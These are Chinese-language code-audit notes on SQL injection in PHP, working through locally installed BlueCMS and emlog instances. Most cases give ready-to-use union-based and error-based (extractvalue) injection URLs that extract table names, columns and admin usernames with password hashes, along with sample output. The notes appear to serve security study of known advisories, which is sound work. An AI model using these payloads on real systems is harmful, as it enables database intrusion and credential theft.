原生PHP代码审计-sql注入 #
三种方法:
数据库方面-sql注入
1:语句监控 监控sql语句是否可以利用
2:功能跟踪
.*单个字符 ?启动非贪婪模式
3:正则搜索sql语句(update|select|insert|delete|).*?where.*=
案例1BLUECMS #
搭建
PHP选择5版本
PHPSTUDY选中里面的uploads目录
url输入/install安装
设置uploads权限为可写
设置后不管他是白屏还是怎么样直接输入根目录进入界面显示
使用正则表达式搜索
(update|select|insert|delete|).*?where.*?=* 锁定这个ad_js.php文件
看到其他的admin.php可能是管理员的界面
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id); 看这个代码的变量是否可控
往上看发现这个变量是通过GET传输的发现可控
$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
echo 'Error!';
exit();
}
在php中.表示直接拼接我们访问试试
输入
URL/ad_js.php?ad_id=1%20order%20by%208
提示Error:Query error:SELECT * FROM blue_ad WHERE ad_id =1 order by 8
输入
URL/ad_js.php?ad_id=1%20order%20by%207
不报错
这里不加'因为是数字不用闭合,锁定字段是7个而且有回显表示他的代码有return
输入
ad_js.php?ad_id=1%20union%20select%201,2,3,4,5,6,database()
右键源码发现
<!--
document.write("localhost");
-->
发现数据库名是localhost因为我创建时候把命令设置这个了..
然后我们就可以sql注入查询出账号密码登录后台
1 order by 7
1 union select 1,2,3,4,5,6,7
获取字段名
1 UNION SELECT 1,2,3,4,5,6,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()
得到blue_user 0x626C75655F75736572这是他的16进制 防止转义报错
1 UNION SELECT 1,2,3,4,5,6,group_concat(column_name) FROM information_schema.columns WHERE table_schema=database() and table_name=0x626C75655F75736572
得到 字段
user_id,user_name,pwd,email,birthday,sex,money,face_pic,mobile_phone,home_phone,office_phone,qq,msn,address,reg_time,last_login_time,last_login_ip
1%20UNION%20SELECT%201,2,3,4,5,6,group_concat(user_name,0x3a,pwd)%20from%20blue_user
得到数据 document.write("root:63a9f0ea7bb98050796b649e85481845"); 0x3a表示冒号进行拼接
如果没有回显 就用sqlmap跑延时注入
案例2-emlog-后台漏洞 #
安装说明 emlog_6.0.0
PHP7版本直接输入URL可搭建
提前构建数据库
通过CNVD-漏洞描述找到文件
找到这个地方
这里的sql语句没有防护
代码中的 SQL 语句直接将用户输入的$ip变量拼接到查询中,没有进行任何过滤或参数化处理:
假设$ip的值被传入:127.0.0.1' OR '1'='1,那么实际执行的 SQL 会变成:
-- 查询语句会变成:
SELECT DISTINCT gid FROM 表名 WHERE ip='127.0.0.1' OR '1'='1'
-- 删除语句会变成:
DELETE FROM 表名 WHERE ip='127.0.0.1' OR '1'='1'
触发需要/admin/comment.php?action=delbyip
/admin/comment.php?action=delbyip
提示
这里需要放上去token
代码说检查这里的token 赋值为token=xx我们可以试试
public static function genToken() {
$token_cookie_name = 'EM_TOKENCOOKIE_' . md5(substr(AUTH_KEY, 16, 32) . UID);
if (isset($_COOKIE[$token_cookie_name])) {
return $_COOKIE[$token_cookie_name];
} else {
$token = md5(getRandStr(16));
setcookie($token_cookie_name, $token, 0, '/');
return $token;
}
}
输入token后跳到了这里
URL/admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794
现在我们就代入我们IP参数来注入了因为逻辑往下走了
因为这里没有回显所以我们报错注入 0x7e是~报错时候容易识别
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20user()),0x7e)))%20--+
1 获得数据库名
XPATH syntax error: '~emlog1~'
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20database()),0x7e)))%20--+
2
因为显示不全判断长度是123后
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20length(group_concat(table_name)) from information_schema.tables where table_schema='emlog1'),0x7e)))%20--+
3 从110字符开始获取得到一个表叫emlog_user
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20substr(group_concat(table_name),110,30) from information_schema.tables where table_schema='emlog1'),0x7e)))%20--+
或者
用limit 跳过前9个表名,返回第10个表名(因为计数从0开始)。
and(extractvalue(1,concat(0x7e,(select count(table_name) from information_schema.tables where table_schema='emlog1'),0x7e))) -- 得到10个
and(extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='emlog1' limit 9,1),0x7e))) --查看得到emlog_user
4
得到字段
~uid,username,password,nickname,'
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20group_concat(column_name) from information_schema.columns where table_schema='emlog1' and table_name='emlog_user'),0x7e)))%20--+
5获取数据
XPATH syntax error: '~root:$P$ByE7sTdselj5Pr83iphFe0eL'
admin/comment.php?action=delbyip&token=844dcfdf25339db310d07c152cdb3794&ip=127.0.0.1%27and(extractvalue(1,concat(0x7e,(select%20group_concat(username,0x3a,password) from emlog_user),0x7e)))%20--+
案例3-emlog-pro 二次注入漏洞-2.1.9 #
使用工具MySQLMonitor-1.1.jar工具监控mysql代码
其他数据库有自带监控
后端代码可以知道这里的emer是数据库中的nickname数值
cnvd中说了是二次注入我们就要找哪里可以修改nickname答案是系统中的上传数据库文件
插入这段在数据中 再上传
可以发现select 执行了